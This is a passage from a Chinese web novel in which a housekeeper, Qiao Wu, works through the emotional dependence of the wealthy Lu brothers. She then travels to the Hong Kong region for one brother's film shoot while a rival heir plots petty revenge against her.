那会他乍一下见到了人,欣喜到头脑混乱,以至于那句话的语气在他看来都没她这个人重要。 可现在一听起来,却是他一直惦念着的温柔。 “你别丢下我。”他说。 “我没有要丢下你们任何人。” 这下陆应池终于没再执着于开公司这件事,他脸色好了很多,又转过去仰着头看着黑暗。 他脑海中有条线终于清晰了,清晰地告诉他乔梧很重要,重要到他接受不了任何失去的可能。 这个认知让他自己都感觉到很错愕,因为在他过去的人生里并没有遇到过这种想要却又害怕的存在。 他想要的东西只要伸伸手就能拿在手里,所以不用付出很多,拥有的东西就算是他混吃等死也能过很多辈子了。 但他现在很心动。 因为乔梧说一起飞。 乔梧说的每一件事,都是他想要却又没人可以随便给予他的。 只有他自己。 秦天睿那个混账玩意儿都能成为乔梧的合作伙伴,他为什么不能? 这一刻陆应池好像终于找到了自己要做的事情了。 他一把拉下发带,转过头认真地看向乔梧,跃跃欲试:“我答应你!” 乔梧:“?” 答应什么? 也不知道他想到了什么,一回到家就兴冲冲地冲上了楼。 早在今天他说要聚餐的时候,乔梧就算到他会喝酒,所以说今天陆柠的作业她来检查。 看着陆应池上去以后,她准备去藏书楼。 没想到出门就遇到了从外面走进来的陆宣:“这么晚回来?” 虽然回来了,但陆宣每天还是要去公司上表演课,他回来就把自己摔在沙发上,嗯了声:“今天开了个会。” 晚点孟星星会把会议记录发过来,所以乔梧并没有强硬地让他跟自己交流,见他眉眼间有些疲惫便道:“那早点休息吧。” 可陆宣像是能察觉她的动向一样,立刻睁眼:“你去哪?” “给陆柠检查作业。” “那不是陆应池的活儿么。”陆宣又坐直身体,眉心轻轻拧了下,“我跟你去。” 乔梧无声看着他。 陆宣看懂了她的意思,当初乔梧就让他不要把家人排斥在外,他哪里丧心病狂到要跟陆柠一个小丫头计较这些。 “你把我当什么人了。”陆宣懒声说,“作为一个叔叔,我去看看她的作业不行吗?不是你说的要一视同仁?” 乔梧挑了下眉:“行,走吧。” 从主宅出来,陆宣全程一句话都没说,就是走几步就要踢一脚路边的盆栽,乔梧真担心第二天园丁来找他的麻烦。 她觉得好笑:“你什么时候变得这么吞吞吐吐的了?” “你懂什么。” 陆宣轻哼了一声,却还是没说什么。 可眼看着就要到藏书楼了,他才终于停下来:“我明天要走了。” 乔梧知道他要去姜奇的组里拍戏,所以点了点头:“然后呢?” “哪有什么然后。”陆宣步子继续往前迈,但是明显步伐慢了很多,“来跟你告个别。” 他其实很想问问,乔梧能不能送他去,就像当初送他去训练营那样,会在他开始一件事之前给他加油打气,叮嘱他表扬他。 但这话说出来一定会被乔梧骂的,骂他不长记性。 去一趟来回至少也要一天,休息一晚要两天,家里还有其他人。 乔梧不喜欢他自私。 所以他忍了。 但他还是想单独跟乔梧道个别,至少在临行前她会叮嘱什么的吧,比如说坚持下来会有什么奖励之类的。 他保证道:“这次我也会走到最后。” “只有这次?” “以后的每一次。”陆宣微垂着眸,看着两人在地上并齐的影子,“我会让你刮目相看。” “是让我么?” “嗯。”像是知道她在想什么,陆宣精准地踩了她影子一脚,“但不仅是你,还有组里人看我演戏的人 ,我都会负责。” 乔梧默许了他幼稚的举动,不过也觉得陆宣的确也明白了做任何工作该注意的事。 “我知道了。”她说。 两人来到藏书楼前,她忽然停下脚步:“到了,进去吧。” 陆宣:“?” “不是要看她的作业吗?”乔梧示意他进去,“初二孩子的作业用不到两个人看。” “……” 什么鬼。 他哪里是真的来看陆柠写作业的啊! 她写的那个狗爬字谁看得懂! “看完早点回去休息。”乔梧说,“明天赶早班机呢。” 见她真的要走,陆宣急了:“你这就回去了?” “对啊。”乔梧看他一脸无语又不敢反驳的样子,笑道,“我还要回去收拾东西,不然怎么跟你一起赶早班机?” 陆宣怔在原地,一时之间没反应过来她在说什么。 好半晌看乔梧要转身,他忙拽住她的衣摆:“你,也要去?” “作为管家,你的职业规划是我定的,你第一次进组拍戏我怎么都要去看现场,作为一个娱乐公司的未来老板,熟悉剧组拍戏流程也是我要做的。” 乔梧轻轻拂开他的手,笑道:“作为家人,这是我哥第一次进组,所以我当然要去。” 陆宣嘴角控制不住上扬,再次强调:“说了是哥哥。” “爱听不听。” 第62章 第六十二章二更 得到乔梧的承诺,陆宣也不再缠着,顿时心满意足给陆柠看作业去了。 此时的陆柠早就写完了作业正在看书,听见身后故意发出的动静她还以为是陆应池来了,结果回头发现居然是陆宣。 “怎么是你?” “我来给你看作业你就烧高香吧。”陆宣抽了张椅子在她身边坐下,“你不是转学了吗,没在学校听过我的传说?文曲星在世。” 陆柠:“……” 还真没有。 “你也是我们学校的?” “陆家谁不是那个学校的。”陆宣心情不错,拿起她的作业翻看的同时还能应付她两句,“要不是不能留级…” “什么?” “没什么。” 要不是不能留级,他就跟乔梧是一届的了,每天都能一起上学。 可惜了,当初他升小学的时候还曾经问过老师能不能再多读一年大班,结果被老头狠狠抽了一顿,也是因为这个他失去了跟乔梧待在同一个年级光荣榜上的机会。 后来小学部初中部隔得远,他就… 陆宣忽然意识到什么,落在纸上的视线飘了飘。 如果他没记错,乔梧就是从那段时间开始变得很奇怪,她为什么会变得奇怪又怎么突然之间又变得很正常,他居然没想起来问过。 陆柠一度很怀疑陆宣的真实水平,因为他看起来真的不是很聪明,见他盯着习题册第一题就看了很久,她有点感同身受地说:“实在不会的话,可以不用勉强。” 她以前也是这样的。 没想到,陆家的脑子居然是一脉相承,她突然对这位三叔生出了几分难得的亲近感。 “胡说八道什么?”陆宣被迫回神,“我初中一直都是年级第一。” 仅仅是初中,因为一直想要跟乔梧在同一个光荣榜上,他以前学习真的很努力,哪怕后来懈怠了点儿,但幸亏基础打得好也考了个不错的大学,只不过后来就没怎么在意过学业,所以当初进娱乐圈才会跟老头大吵一架。 初二的题…嗯…… 看着有点陌生。 陆宣盯着看了很久才找到一点点熟悉的感觉,检查个作业居然把他检查得精力耗费了一大半。 把错题全丢给陆柠以后他撑着脑袋缓神,目光落在陆柠面前那本翻开的书上:“你怎么也看起书来了?” 这家里只有乔梧和陆尽之喜欢看课外书。 虽然不愿意承认,但在某些方面陆宣无可反驳,比如陆尽之脑子真的很好使,在学业上根本不用花任何精力,还能空出很多时间去看书,乔梧跟陆尽之一样。 而他为了跟乔梧并肩就花费了几乎所有的时间奋斗学习,以至于看到其他书就想吐,来藏书楼的次数更是屈指可数。 陆柠这种脑子居然还能有时间看课外书? 陆宣有点不服。 “乔梧推荐给我的。”埋着头改作业的陆柠说,“老师布置了阅读作业。” “现在还搞得花里胡哨的。” 陆宣随手拿起来翻了翻,都是些需要静下心来才能看懂的文学书,他没耐心一点没看进去,正要合上却看到熟悉的字迹。 在枯燥的东西里发现了有趣的东西,他也不觉得疲惫了。 他将那张便签拿起来,结果没想到后面还有一张,但两张显然不是同一个人写的。 “这谁的?” “二叔。” 陆宣动作一顿:“陆尽之?” 听到他不确定的语气,陆柠歪头看了一眼:“就是他,他跟乔梧都很喜欢在书里留便签,还不让我在上面写字。” 又说:“而且我观察过了,我看的这几本书里,他们前后留下的便签像是在交流一样。” “什么时候的事?” “二叔回国之前就有,那应该是出国之前留的?”陆柠后来偷偷翻过很多书,发现好多都有,“应该很久很久了。” 陆宣有些发怔。 很久、很久了? 书本被拍在桌面,在空旷安静的藏书楼里发出碰击的声响,陆柠被吓了一跳。 她才抬起头,身边的人就忽然站起来匆匆朝书架走去,也不看分类和书名,逮到哪本就看哪本,然后她就看到陆宣一贯散漫的表情变得有点难看。 原本被藏在书里那些便签,被他一张张拿出来,翻完一本又翻另一本。 除了一楼的,他又跑去二楼,紧接着是三楼四楼…… 三叔不会是看她的作业看疯了吧? “陆宣!”陆柠扬声提醒,“你不要把里面的东西弄丢!” 陆宣倒是希望弄丢,这样他翻开书找到便签的概率就不会那么大,就没有那么多证据证明,乔梧和陆尽之在所有人都不知道的时候,已经变得很亲密了。 他站在藏书楼的最高层往下看,他以前最不喜欢来的地方,翻到了那么多书,居然有很多本里都有便签。 曾经他以为整个家里,只有陆尽之和乔梧的关系很一般,因为两人之间几乎没有任何交流。 像陆尽之那样自己孤立全世界的人真的很少,所以大多数时间乔梧都是在跟他和陆应池玩。 有时候陆尽之被迫加入看守他们的时候,也只会在他做出一些幼稚的事,比如塞书包时把乔梧摘出去。 是,陆尽之摘出去的是乔梧,而不是他这个弟弟。 这么多本,陆宣怀疑乔梧从识字开始就跟陆尽之在这儿看书了。 那么多年……居然没人知道。 在静水别墅时他还在想陆尽之对乔梧那么特殊因为捧杀,可现在才明白那是陆尽之从过去无知无觉的允许渐渐变得明显的偏向。 他甚至觉得,陆尽之和乔梧之间有着一种难言的默契,而且维持了很多年。 这远远比陆应池和陆柠对乔梧的依赖来得让他更加难以接受。 那是陆尽之,那可是陆尽之。 是任何 一个人都没有办法成为他例外的陆尽之。 “陆宣!你好了没!我改完作业要回去睡觉了!” 最后陆宣都不知道自己是怎么走出藏书楼回到自己房间的,满脑子都是那天拍照的时候乔梧朝陆尽之走去的样子。 明知道这不应该,这是正常的,可他还是忍不住在意。 想了一整夜,最后怎么睡过去的都不知道,以至于第二天起来时整个人都很憔悴。 一家人坐在餐厅吃早餐。 陆柠一直盯着陆宣的脸看,心里十分内疚:“陆宣,以后我的作业我都自己看,你别有压力。” 看把他折腾成什么样子了。 陆应池忍都没忍,放肆笑出声。 见状乔梧都开始怀疑自己昨天是不是做了个错误的决定,她记得初中的时候陆宣成绩挺不错啊。 “这次是我不对。”她诚恳地说。 “……” 陆宣现在没心情跟这几个傻子争论。 呵,鱼唇。 只有他发现了一个惊天大秘密。 陆柠和陆应池还搁那儿唱玛卡巴卡呢。 他第一次这么认真地去观察陆尽之和乔梧之间的状态,发现这两人还是跟以前一样非必要是不交流的,看不出任何异常。 直到乔梧说了一句:“我这两天要去一趟港区。” 陆尽之吃早餐的动作明显慢了下来,抬头时眉心轻轻皱了下,目光却精准落在乔梧身上,这是明显在等着她说话的意思。 “你又要出差吗?”陆柠好奇地问。 “差不多,有点工作上的事要做,顺便送你三叔去剧组。”乔梧笑道,“你三叔进了大导演的组,你们都不鼓励他一下吗?” 陆柠震惊地问:“那个叔叔真的愿意要你啊?不是节目剧本?!” 陆宣斜她一眼:“不会说话就把嘴闭上,吃你的饭。” 看在昨晚三叔被自己的作业折磨了一宿的份上,陆柠没有计较他的脾气,而是怀有八分诚意地说:“希望你不会中途被踢出剧组。” 哐当一声,陆宣的叉子插透面条,狠狠地插在餐盘里。 陆柠缩缩脑袋,不说话了。 “吓唬人干什么?”陆应池自觉担起维护小孩的责任,“只要别拿出以前演霸总的演技来,又不会真的踢你。” “你俩餐盘里是知了?”陆宣不悦,“话那么多。” “不识好人心。”陆应池冷笑,“别跟他一般见识,走了,送你上学。” 虽然陆应池的车钥匙还在陆尽之那儿,但他的司机还在,所以出入有司机接送,但自从陆柠的车被陆尽之停了以后,现在陆应池的车都要先送她去学校再自己走。 “哦。” 两人一前一后走出餐厅,过了一会儿餐厅外却忽然冒出一个脑袋来。 陆柠探头:“陆宣,你不会被踢出去的,我给你投票了。” 她身后传来陆应池恨铁不成钢的声音:“不是说好一起不投的?” “就投了一票。”陆柠说,“进步奖,别以为我没看到你也投了,你还举报了弹幕。” “话多。”陆应池拽着她的书包把人拖走了。 没听到动静以后,乔梧看已经放下餐具的陆宣:“你的行李呢?拿下来走吧。” “嗯。” 陆宣走出餐厅,却没有立刻离开,而是靠在墙后。 他难得有这种耐心,等了一分钟后餐厅里真的响起了陆尽之的声音。 “要送他?” 听不出什么情绪起伏。 “也是要了解一下这一行。”乔梧说,“顺道一起。” “了解不用走这么远。” 乔梧反问:“你不是说过,只要是能走到的地方就不算远吗?” 被回旋镖扎中的陆尽之:“……” 他难得语噎。 乔梧笑了下:“以前你们要去很远的地方,我父亲不也会送你们去吗?” “不一样。” “哪里不一样?”乔梧有心要纠正陆尽之,“虽然现在我身份比较多,但我主要还是管家,这只是我的分内工作,难道你希望我拿着你给的工资毫不作为吗?” 虽然陆尽之情绪感知迟钝,但他还是听得出来话里的意思的。 乔梧过去不会跟他这样说话,有些咄咄逼人的,带着引导的意味。 这种语气他过去只在乔梧训狗的时候听到过。 她把他也当成那几条小狗了。 把他当成她的特权之一。 这次陆尽之甚至都不用拿出镜子,都能知道自己的眼睛里透出的一定是不高兴,因为他最近时常感受到这种情绪反馈。 陆尽之放下餐具,看着乔梧的眼睛,轻笑一声,问:“你想要纠正我什么?” 这么多天来,乔梧已经能分得清这人是什么时候是真的笑,什么时候是假的。 比如现在他眼底就有种看不清的深邃。 谁说他不敏感的,乔梧这瞬间觉得陆尽之的感知是两种极致,极致迟钝以及极度敏感。 所以还真的不能跟他说弯弯绕绕的话,这种人要怎么戒断她还真的一点经验都没有。 “乔梧。” 有时候乔梧觉得名字真是一个奇妙的代号,短短几个字总会有人把它叫出不一样的味道来。 比如现在,她觉得陆尽之叫她的时候,带着一股很认真的味道。 好像这个问题如果她不好好回答,就会有很严重的后果。 乔梧叹了口气:“我觉得,你的依赖反应也很重。” 陆尽之轻声重复:“依赖?” 他理解了一下这个词的含义,再结合自己的情况,瞬间坦然接受,继而挑了下眉:“那又怎么样?” 乔梧:“?” 你为什么要这么理直气壮。 这就是你取悦自己的方法吗。 但不用她说,陆尽之也明白了她的意思,笑着拆穿她试图伪装的意图:“你也想让我戒断。” “不应该吗?” 陆尽之点头,先认可了她:“对你来说应该。” 还好,还是理智的。 “但我不愿。” “……” “不过我依旧尊重你的选择,你可以做你想做的。”陆尽之站起身,走到她身前,低声莞尔道,“也希望你尊重我的选择。” 什么意思,你戒断你的,我不听我的? 你是什么逻辑天才。 陆尽之直起身:“我不是那几条不分轻重不明事理的小狗,你不用把我跟他们一视同仁。” 乔梧无语片刻:“那分轻重的你还记得上周末的3050万吗?” 一条船50万,也就是沈延有钱。 换做其他人早告他了。 “他付得起。”陆尽之不在意道,“其实我更想让他游回去。” 他温声道:“你对陆应池护短的时候不是这么说的。” 乔梧也站起身,静静地看着他:“可我没有阻拦过陆应池交友。” “那为什么还要找我借船?” “你这是什么歪理?” “我也是同样的理由。”陆尽之的确觉得乔梧不应该跟沈延做朋友,沈延虽然本性不坏,但对女孩子举止很大胆,对感情也不认真。 所以他理所应当认为自己跟乔梧的出发点是一样的。 “你说过厨师做的菜符合我心意,我会给他们加班费。”陆尽之垂着眼睫,“你符合我的心意,所以我对你自然会比普通人更多特例,在我看来这并不是需要戒断的事情。” 不可以跟陆尽之这种人讲道理,因为他衡量事情的天秤是按照他自己的逻辑。 乔梧飞快地明白了这一点。 所以她后退了一步:“既然你尊重我的选择,我们就各凭本事。” 他凭本事拒绝,她凭本事戒断。 陆尽之乐了。 “好。”他笑着问,“我要去上班了,乔管家还有什么要嘱咐的么?” 乔梧没回答他,而是转身走出了餐厅。 一直躲在门口的陆宣反应很快的闪走了。 餐厅里安静下来。 陆尽之靠在乔梧之前坐的那张椅子上,脸上的笑意一点点散去,指尖轻轻动了一下。 这是这么多年以来,他第一次真正意义上跟乔梧产生分歧,甚至算不上争吵。 这让他认知到,自己跟乔梧是不同频道的人。 在他的世界里乔梧不可戒断,但在乔梧的世界里他不是。 这让他很不高兴。 差一点,在乔梧说出要戒断他的时候,他差一点就想把她按在这里坐着,让她哪里也不能去。 第一次产生这种念头的时候,是他发现乔梧变了。 他不愿意在那张脸上看到让自己不喜欢的表情和眼神,所以他曾经想过,把这个人关起来,直到她变得正常为止。 那是他第一次发现自己的不正常。 所以他把房间里所有不需要的东西都清空,这样就不会在某个时候忽然升出一定要留下什么的念头。 后来这些年他逐渐习惯自己讨好自己,本以为这个念头早就打消了,可这个时候却又突然冒出来。 他几乎不用计算概率就能知道到时候乔梧会用什么眼神看他。 那是最坏的结果,任何天秤都无法平衡。 所以他得到了最后结论,尊重她,也尊重自己。 陆尽之习惯每一件事都在自己的预期之内,但现在他发现很多事情是没有办法按照既定路线走的,就像他跟乔梧之间。 他算不到乔梧的下一步。 同样也算不到自己的。 现在只能靠着本能和直觉,往下走。 这样他才不会后悔。 另一边,乔梧来到车前才发现陆宣还没下来。 难道是还没收拾好? 等了十来分钟,就在她要打电话上去催的时候,那人才慢悠悠从门口出来。 不知怎么,她觉得陆宣看自己的眼神不太对劲。 但陆宣昨晚没休息好,一上车就开始闭眼补觉,乔梧也没机会问。 直到飞机落地来到港区,这少爷才勉为其难睁开眼睛。 因为拍戏,孟星星特意给他找了个助理,这两人已经提前到了。 “哥,我们今晚先住酒店修整。”孟星星说,“明天再去剧组。” 考虑到陆宣的身份特殊,担心他住不惯剧组的酒店,所以特意问:“需要给你单独订酒店不?” 已经不用在那个逼训练营吃苦了,陆宣当然不愿意委屈自己,懒洋洋应了声:“嗯。” 又扫了眼那个新助理:“连你们的一起订了,两个套房。” “好嘞!”孟星星双眼冒光地盯着他。 跟着有钱老板有饭吃! 陆宣被看得起了一身鸡皮疙瘩:“订啊,看我干什么?” “咳。”孟星星搓搓拇指和食指,“咱们私人订酒店公司不报销,我没钱。” 陆宣轻啧。 他刚要把自己的卡拿出来,混沌的脑子却在碰到卡的那一瞬间忽然清醒,手瞬间抽出来。 “我也没钱。”他睁眼说瞎话,看向旁边的乔梧,“金主,我这个月生活费呢?” 乔梧笑得不行:“十万,一会儿给你打过去,不过应该不够这段时间你们去套房住哦。” “……” 以后的事以后再说。 “那今晚我得睡好一点吧。”他无赖地说,“我好不容易有个助理,你也让人好好休息一天,后面多吃苦。” 这个时候他还知道体贴人了? 知道他在训练营待了一个月,娇气的性子被磨下来不少,所以乔梧并不打算在这方面苛待他,便道:“一会儿会给你们订房间。” “跟上次那样订两个就行。” 乔梧无奈:“我不住?” “我跟你一个,他俩一个。”陆宣理直气壮地凑过去,“不当家不知柴米油盐贵,节省一点好。” 乔梧冷笑着推开他的脑袋:“我给你们定三个房间的套房。” 陆宣:“……” 孟星星主动说:“我俩挤一个房间也行。” 陆宣凉声道:“你经纪人证是买来的?” 就没见过情商这么低的经纪人! 外面车来了,几人陆续上车。 而他们身后也走出来一行人,为首的是个年轻男人,戴着墨镜满脸郁色。 他才走出来就看到了一个熟悉的身影,那个女人! 跟那天让他当中出丑还进了警察局的陆应池是一伙的! 如果不是他们,他也不会才到内地就被他父亲叫回来,这么大好的机会,白白让给了其他人! 她来港区了?! 这里可是他的地盘! 他快步走上前,可那辆车已经开走了。 紧接着下一辆车停在他面前,车门打开,上面坐着个穿着黑色西装的女人,女人冷淡的眼神从前方收回来,又扫过他,嘴角挂着嘲讽的笑意。 “怎么,衣服被人撕破了,腿也被打折了?要人抬你上来?” 怎么会是赖云娇! 一定是来看他笑话的! 但现在赖深没有时间跟她吵,他飞速上了车:“追上前面那辆车。” 赖云娇:“你在使唤我的人?” 赖深拿出一张卡甩在她身上:“自己下车。” 下一秒,赖云娇猛地起身拽住他的头发往下按:“找死?” “赖云娇!”赖深被扯得头皮生疼,“我现在着急追人!不想跟你打架!” “谁?” “前面那辆车上的一个女的,跟那个陆应池是一伙儿的!” 陆应池? 在内地把赖深赶回来的人? 乔梧跟陆应池有关系? 看来那个陆家老四也不是什么好东西,跟赖深狗咬狗, 赖云娇松开手:“去看看。” 司机应了声,立刻提速跟上。 前面的车里,没能成功去一个房间的陆宣终于忍不住开始算账了:“我昨天给陆柠检查作业的时候,在藏书楼发现了很多书,里面有你跟陆尽之写的便签,有很多年了吧?” 乔梧并不觉得这是什么不能说的秘密,所以点头:“嗯。” “所以你跟他关系一直很好。”陆宣扯了下唇角,“为什么不说?” 好,倒是也算不上。 在这次陆尽之回国之前,乔梧还真不觉得自己跟陆尽之的关系有多好,至少不及她跟其他人。 但好像这段时间下来,她的确跟陆尽之走得要近一点。 乔梧略感疑惑:“我有跟你说过,我跟其他人关系很好吗?” “……没有。” “我跟你哥的关系也从来没有遮掩过。”乔梧说,“就是你们看到的这样,所以并不存在说不说。” 陆宣皱眉:“你这样说得我好像很蠢发现不了一样。” “如果你以前多去几次藏书楼,这些事情你也会知道。” “那么多书,是人可以看的吗?”陆宣臭着脸,“也只有你跟陆尽之。” “但我跟你们玩的游戏陆尽之也不玩。”乔梧笑道,“这有什么好争的。” “那是他没品。” 不对,他不是这个意思! 他是什么意思来着? 陆宣深吸一口气,终于找到自己要说的话:“我也不要戒断。” 他就说! 前段时间发现乔梧的态度怪怪的,原来是在搞戒断! 陆尽之不愿意,他也不愿意! 乔梧终于扭过头,惊讶地看了他一眼。 她以为他永远也不会发现这个事情。 等会儿,也? “你听见了?” 陆宣轻嗤:“他嘴上长了个喇叭还怕我听?” “你怎么就不跟他学点好的?” “反正我也不戒断。” 如果是陆尽之,乔梧还能有来有回听点道理,但陆宣则完全不用。 “你跟你哥不一样。” “哪里不一样?就因为我不看书?” “没有我的时间里他可以完成自己的事做自己的主,知道他自己要做什么,也不会被任何事情影响,你呢?” 陆宣不服输:“我也可以。” “你可以?”乔梧挑眉,“所以因为拍照的时候没坐在一起就不开心、昨天扭扭捏捏不说话,还要蹭着跟我去藏书楼的人是谁?” “……” “陆宣。”乔梧稍稍正色,温声道,“这并不是我的本意,但你要明白每个人都是独立的个体,我也是,你也是,我们都需要独立的思想和一个强大的自我,这样才能保证以后遇到任何困难都不怕解决。” 陆宣沉默。 “我希望我们是一起向前走的,而不是要我拽着你们,你们才愿意向前走, 我不是胡萝卜,你也不是驴对不对?” 虽然很不情愿,但陆宣觉得,乔梧说的那句一起向前走,尤其是“一起”两个字,比起戒断这个词更让他期待。 像是已经看到了未来,他的心瞬间膨胀了起来,不知道要说什么,只能挤出一句:“你就不能想一点好的比喻?” 乔梧失笑:“如果你能想清楚我们之间关系的正常意义,能做到我说的这些,那我可以向你保证,你不用戒断。” “真的?” “我什么时候骗过你?” “你最好是。” 陆宣脸色终于好看了,沉重了一晚上的心情也好了起来,也可以放心补觉了。 呵,还以为陆尽之有多了不起。 结果到头来还不是跟他们一样?拽什么拽。 看谁先戒断成功! 第63章 第六十三章见面礼 赖家四个孩子,由于家庭环境比较复杂,四个孩子四个妈,遗产的争夺一直都是心知肚明的,在父亲面前装得兄友弟恭,但在外面跟仇人没什么区别。 但这次赖云娇却是真心实意来接赖深的。 前段时间父亲准许赖深去内地闯荡这件事在家里引起了其他人的不满,一旦让赖深扩大了内地的商业板块,他在父亲面前说话肯定会更有分量,那个草包凭什么得到这种机会。 但她万万没想到去了没多久就被内地的人告状告到父亲那里去了,当晚父亲发了很大的火。 后来她才知道,原来是赖深一去就跟内地顶级豪门陆家的老四起了冲突,还被人当众扔到街上带去了警察局。 可惜他当时捂住了脸没被人拍到,否则一定会被父亲逐出家门。 那么多保镖都护不住一个草包,赖云娇半夜做梦都会笑醒,这次还难得主动跟父亲说来接赖深回家,就是要看看他狼狈的样子。 对于陆家赖云娇早就有所耳闻,除了他们家大业大之外,主要还是因为那个叫乔梧的女人。 乔梧是前两年忽然出现在圈子里,一个长相还可以举止却十分掉价的人,全是因为她口口声声说自己与陆家有关系,才能让她沾到圈子的边儿。 像条鱼似的,滑溜得让人厌恶,虚荣又浮夸。 陆家是她给自己镀上的一层金边,她说她与陆家少爷们关系很好,每个人都听她的话。 尤其是陆尽之,说她与陆尽之青梅竹马,以后会是辅佐他的人,甚至还曾暧昧地表示过她跟陆尽之的关系。 赖云娇从小在尔虞我诈的家庭中长大,自然不会把这种口嗨的事放在心上,也没想过搭理这种人,却没想到乔梧会主动舞到她脸上。 虽然都在国内,但总有很多人都有意无意会把港区商圈和内地商圈做比较。 尤其是顶尖上那些人物,比如赖家四子与陆家四子。 同样都是四个孩子,非要争出一个高下。 某次聚会上有人调侃起来,喝多了的乔梧真的把自己当成了一个人物,公然挑起赖家的私事,大肆指点起赖家四个孩子的出生。 虽然是默认的事情,但有点脑子的人都不可能会把这件事当着正主的面说出来。 赖云娇不喜欢别人压自己一头,尤其是这么一个毫无城府的人,所以直接上手给了她一巴掌,但那个不知道天高地厚的居然直接泼了她一身的酒。 如果不是周围人拦着,她一定会让人扒了乔梧的皮。 后来圈内的人基本组局都不会把她和乔梧组在一起,赖云娇也不知道这人是什么时候回的国。 她低头在手机上搜索着内地陆家的消息,才发现最近的陆家很热闹。 陆尽之回国,陆宣拍戏,陆应池前几天因为在外面按了个草包也被人拍到了网上。 而这些人身边都有一个相同的身影。 赖云娇将所有的新闻图片放大,发现画面上的乔梧跟她印象里不太一样,如果不是一张脸,神色和眼神都不像是同一个人。 “三小姐。”司机的车停下来,“他们在酒店门口下车了。” “她敢住赖家的酒店。”赖深拳头捏得咯吱响,“她完了。” 赖云娇弯了下唇,并没有要阻止他的意思。 如果赖深真的搞出点什么事儿来,乔梧被收拾了,赖深也会被收拾。 她坐收渔翁之利,何乐而不为? 不过在内地被整了那么一次,赖深并没有着急下手,乔梧身边还有不少人,而且他今晚要先回父亲那里,不能在这个节骨眼惹事。 他指使司机:“去,问问那几个人房间订了多久。” 司机下意识看了一眼三小姐,见对方一副默认的意思,便下了车。 过了一会儿跑回来:“订了两套房,其中一套只订了一晚,另外一套订了两晚。” 赖深说:“我常用的房间留两晚。” “好的。” 赖云娇没说话,却也给酒店经理发了个消息,给她空出两晚的房间。 她要看戏。 这边乔梧来到自己的房间,酒店经理过正在给她办入住,她坐在沙发上问:“你们赖三小姐回国了吧?” 才收到三小姐消息的经理回头:“女士跟我们三小姐认识?” “不算。” 经理含着歉意说:“东家的行踪我们是不清楚的。” 闻言乔梧从手机上抬起头:“没关系,我只是想请你替我问候她一下,顺便再转达一句话。” “您请说。” 乔梧笑着对她道:“希望我和我的伙伴不会在赖家旗下的酒店出现任何意外。” 经理有些疑惑,却还是保证道:“只要进了我们酒店,一定会保障您的人身安全,您放心。” 乔梧抽出一张自己的名片放到经理手上:“请帮我把这个转交给她。” “我们不是时时刻刻都能看到三小姐的。”经理说。 “不一定要亲手交,只要她知道我的联系方式就行。”乔梧笑道,“你问问她,我送她的欠礼她喜不喜欢就行。” 欠礼? 经理迟疑着点头。 看来这位女士真的跟三小姐认识。 住在酒店顶级套房里的人一般都不是普通人,所以经理也不敢怠慢,她收下名片:“我会尽力的。” 等人走后,乔梧才回到沙发上坐下。 不出意外的话赖深已经回来了,那个小心眼经过这么一遭一定不会善罢甘休。 她这次之所以要跟着过来,除开之前那些原因,还有一个就是要解决赖深这个隐患。 那天在店里她就看出来了,赖深是一个善妒脑子简单莽撞又仗势欺人的人,吃了那么大的亏一定会对陆应池怀恨在心并且牵连陆家其他人,必定会把陆家的情况摸个透彻。 好巧不巧陆宣又要在港区拍一段时间戏,她不可能时时刻刻待在这里,只能先做好万全的准备。 所以那天在店里她就提出让姜园跟赖家其他人先联系,至少赖深在内地发生的事要传到其他人耳朵里。 赖云娇跟赖深是竞争关系,自然会喜闻乐见。 这是她送给赖云娇的一份礼物,也是给自己来到港区留了一条路。 赖云娇比赖深聪明,一定能想通其中的关窍。 接到电话时赖云娇正坐在真皮沙发上吃着水果观赏父亲训斥赖深那个草包。 长这么大还不知道收敛锋芒,做生意怎么做都不知道。 她父亲打人从来不打脸,打在赖深身上是在是看得人心里很爽。 打得越狠越好,到时候赖深就会把所有的过错都归在乔梧那些人头上。 不过陆家是怎么走到今天这一步的?乔梧那样的人也可以辅佐陆家掌权人? 一个赛一个的草包。 看到酒店打电话过来,她起身走远了点儿,找了个更好的位置,不影响观看也不影响接电话:“什么事?” “三小姐,酒店里有个叫乔梧的客人给了我一张名片,托我转交给您向您问候,还有一句话。” “给我?”赖云娇像是听到了什么好笑的笑话,“什么话。” “她说不希望在 赖家的酒店出现任何意外。” 赖云娇几可不察地挑了下眉。 看来乔梧是故意去赖家的酒店。 什么意思,知道来到这个地盘会被赖深收拾了? 乔梧什么时候有这么活泛的脑子了。 “不要。” 说完后赖云娇准备挂断电话。 酒店经理忙道:“她还问您喜不喜欢她送的欠礼。” 什么欠礼,她做梦呢。 赖云娇直接挂了电话正要回沙发,可在看到跪在地上被打得一声都不敢吭的赖深后,她脚步忽然一顿。 被挂断电话,经理思考着第二天遇到乔梧要怎么说才好,却忽然收到了三小姐发来的消息。 “名片拍照发给我,准备我的房间,我一会儿过来。” 咦? 被父亲狠狠抽了一顿的赖深回头时,发现看戏的赖云娇早就不见人影了。 也好,今天是他急着追人没顾得上赖云娇,她最好是不要掺和进来。 他上楼让医生给自己上好了药,然后收到了请的私家侦探发来的消息。 都不是什么需要深挖的消息,乔梧跟陆家关系紧密,是陆家的管家。 管家? 他家管家见到他都得点头哈腰,陆应池见到乔梧怎么倒过来了! 乔梧的行程不好查,但陆宣好查得很,赖深不想放过陆家任何一个人, 既然陆宣要在港区拍戏一段时间,这人就可以暂时放一放,娱乐圈的东西最简单不过了。 至于乔梧…… 赖深给酒店经理打了个电话:“给我送一张邀请函。” 到了晚饭时间,陆宣来乔梧的房间找她。 却看到乔梧换了身衣服,早上轻便的毛衣被她换成了简单高级的西装礼服:“你要去哪?” “赖家四公子邀请我去吃晚饭,你去吗?” “那是谁?” “路上说。” 去赴约的路上,陆宣越听乔梧说眉心越发皱了起来:“那他是怎么知道你来港区了的?” “因为我们住的酒店就是他的。” “那也……”陆宣还是觉得不对,“那样的人怎么可能心甘情愿给你道歉,一定有诈!” 乔梧难得赞赏性地看了他一眼:“现在也算耳聪目明了。” “身边这样的人多了去了。” 陆宣以己度人,要是谁把他那样按在地上摩擦,就算是他爹把他腿打断,他都要用骨头把那人插下地狱。 他说完后,愣了下:“你知道?” 乔梧无声挑眉。 只能说那个赖深有点脑子,但不多。 是他跟陆应池起了冲突,现在却把邀请函发到一个管家身上来,很可能是因为那天他看到她跟陆应池关系不错,调查过她,否则他怎么可能托一个管家道歉。 站在赖深的角度,他回道港区被父亲教导知道自己错了所以道歉。 但站在乔梧的角度,我只是住进你家酒店一个下午的时间,你连我的房间号都能摸到,谁能信呢。 “知道你还去?!” 陆宣急了,怎么平时看着那么聪明的一个人,现在脑子却这么木! 这是在港区,要是出了点什么事都不好随时叫人。 